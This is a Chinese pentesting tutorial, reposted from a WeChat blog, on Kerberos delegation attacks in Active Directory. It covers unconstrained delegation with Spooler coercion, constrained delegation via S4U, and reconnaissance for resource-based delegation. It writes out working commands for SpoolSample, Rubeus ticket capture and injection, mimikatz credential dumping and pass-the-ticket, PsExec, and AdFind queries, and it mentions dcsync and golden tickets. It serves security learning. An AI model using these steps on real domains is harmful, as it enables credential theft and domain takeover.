内网渗透—委派攻击

admin 2025年7月7日17:32:26评论4 views字数 3960阅读13分12秒阅读模式

内网渗透—委派攻击

域委派是指,将域内用户的权限委派给服务账户和主机账户,使得服务账号和主机账户能以用户权限开展域内活动。

主机账户:即机器账户。

服务账户:运行服务所需要的账户,如果域用户注册SPN,那么域用户也可以是服务账户。

https://blog.csdn.net/qq_41874930/article/details/108777247

https://blog.csdn.net/qq_41874930/article/details/111249630

https://blog.csdn.net/qq_43645782/article/details/118928824

https://shanfenglan.blog.csdn.net/article/details/110633298

非约束委派攻击

原理

当用户good访问mysql服务的时候,如果mysql服务对应的服务账户开启了非约束委派,good用户访问mysql服务,会将good用户的TGT发送给mysql服务的主机并且保存在内存中,所以mysql服务就可以利用TGT以good的用户身份身去访问域内的任何user用户能访问的所有服务。

ps:

因为在Kerberos认证中,TGT的作用就是用户携带访问TGS即票据授予服务器,拿到ST进而访问对应的服务。

应用场景

获取到一台主机账号被配置了非约束委派的主机权限。

要获取域内某台主机或者域管的权限。

攻击方式

迫使目标主机中的用户,访问非约束主机上的服务,在非约束主机上获取到用户的TGT。

非约束委派+spooler打印机

常见应用

域控:IP1

域管理员用户:U1

域内普通主机:IP2

以域管理员的身份访问域内普通主机(IP2)的服务。此时域管理员的TGT已经缓存在普通主机(IP2)上。使用minikazi导出。

将导出的TGT票据导出当前主机(IP2)。

此时当前主机(IP2)即可获取域控权限(IP1)。

问题

1、这里使用的服务是WinRM服务。

Windows Server 2012及以上默认是开启WinRM服务的,Windows Server 2008 R2需要winrm quickconfig -q来启动WinRM服务。

2、在上述常见中,是人为主动让域管理员访问对应服务,在实战过程中,如何让域管理员主动访问对应服务?

windowsSpooler打印机服务是默认启用的方法。

应用场景:

获取一台主机账户开启了非约束委派域内机器的权限。

域控:IP1

域内普通主机:IP2

(主机账户开启非约束委派,而不是服务用户)。

主要的原理就是通过PrintSpooler服务使用特定POC让域控对设置了非约束委派的主机发起请求,获取域控的TGT,从而提升权限。

  • 首先向域控IP1的Spooler服务发送请求,强制其访问域内普通主机(IP2)进行身份验证。
    SpoolSample.exe 域控机器名 普通机器名
  • 使用Rubeus来监听
    Rubeus.exe monitor /interval:1 /filteruser:CSTAR$
  • 直接使用Rubeus来注入内存
    Rubeus.exe ptt /ticket:base64
  • 可以使用mimikatz导出TGT,注入当前会话。
    privilege::debug
sekurlsa::tickets /export
  • 用dcsync导出域控中所有用户的hash。
  • 得到krbtgt用户的hash之后生成一张administrator的黄金票据。
  • 以administrator的身份访问域控。

约束委派攻击

原理

应用场景

获取到一个服务账户或者主机账户,该服务账户或者主机账户被设置为约束委派并且指定了委派的服务。

攻击方式

获取账户的hash或者密码,或者获取到账户所在主机到权限直接使用工具抓取TGT。

1、定义

约束委派只能获取某个用户或者主机的ST,也就是只能模拟用户访问特定的服务。而且无法获取用户TGT。

2、条件

获取开启委派的用户的hash(机器用户的hash可以直接使用minikazi抓取密码)或者明文密码,伪造请求模拟用户获取访问指定服务的ST。

3、步骤

1)获取用户hash。

mimikatz.exe "privilege::debug""sekurlsa::logonpasswords full" exit

请求用户TGT。

tgt::ask /user:mssql /domain:de1ay.com /password:1qaz@WSX /ticket:test.kirbi

/user: 服务用户的用户名。

/password: 服务用户的明文密码。

/domain: 所在域名。

/ticket: 指定票据名称,不过这个参数没有生效,可以忽略。

如果获取到主机权限,可以直接使用minikazi导出TGT。

mimikatz.exe "privilege::debug""sekurlsa::tickets /export" exit

然后直接请求ST2票据,然后直接导入内存中。

tgs::s4u /tgt:[0;196b1e4]-2-0-60[email protected] /user:[email protected] /service:cifs/dm08.qiyou.com

2)通过获取的TGT,伪造请求以admin用户身份请求指定的主机服务ST。

tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dm08.qiyou.com

3)之后会回去到两个ST。将ST2导入当前会话。使用minikazi导入。

kerberos::ptt [email protected]@[email protected]

然后使用微软官方的PSEXEC获取目标主机权限。

https://www.crisprx.top/archives/429

https://skewwg.github.io/2020/11/25/yue-shu-wei-pai-li-yong/

场景:

test为域内用户并且服务账户。

查找可约束委派的主机和用户

AdFind.exe -b "DC=starcity,DC=dmz" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
内网渗透—委派攻击

被设置委派的机器为FILESERVER,表示任何用户可以委派此机器来访问EMP机器上的CIFS服务。

在FILESERVER机器上攻击EMP机器,获取EMP机器的管理员权限。

首先使用mimikazt导出机器上的所有凭证。

mimikatz.exe "privilege::debug""sekurlsa::tickets /export" exit
内网渗透—委派攻击

获取st1和st2

tgs::s4u /tgt:[0;3e7]-2-1-40e10000[email protected] /user:[email protected] /service:cifs/emp.starcity.dmz
内网渗透—委派攻击

使用minikazt将st2导入当前机器

mimikatz.exe "kerberos::ptt [email protected]@[email protected]" exit

最后使用微软官方psexec攻击获取shell。

PsExec64.exe \emp cmd.exe
内网渗透—委派攻击

基于资源的约束委派

原理

获取加域操作账号,进而拿下被该账户加域的所有机器

应用场景

获取加域账号。

攻击方式

发现完整的mS-DS-CreatorSID,通过以下命令可以看到每台机器的名称以及将他们加域的用户的SID。

AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

通过找到的SID查找某个用户

AdFind.exe -b "DC=test,DC=com" -f "(&(objectsid=S-1-5-21-3763276348-88739081-2848684050-1110))" objectclass cn dn

查询域中被当前用户拉进域内的所有主机

AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3763276348-88739081-2848684050-1110))" cn sAMAccountType objectCategory

如果一个账号没有mS-DS-CreatorSID,那么其是被域管拉入域内的。

总结

1、非约束委派就是某个主机被设置成非约束委派之后,任何用户都可以委派该主机去代替自己访问任何服务。

2、约束委派就是指定任何用户都可以委派主机去访问特定的服务。而不是所有服务。

3、约束委派和非约束委派都不能限制什么用户可以去委派机器,只能限制委派之后能够访问那种服务。

4、非约束委派是服务账户获取到了用户的TGT,使用用户的TGT,访问该用户能够使用的所有服务。

原文始发于微信公众号(土拨鼠的安全屋):内网渗透—委派攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月7日17:32:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透—委派攻击https://cn-sec.com/archives/4227883.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息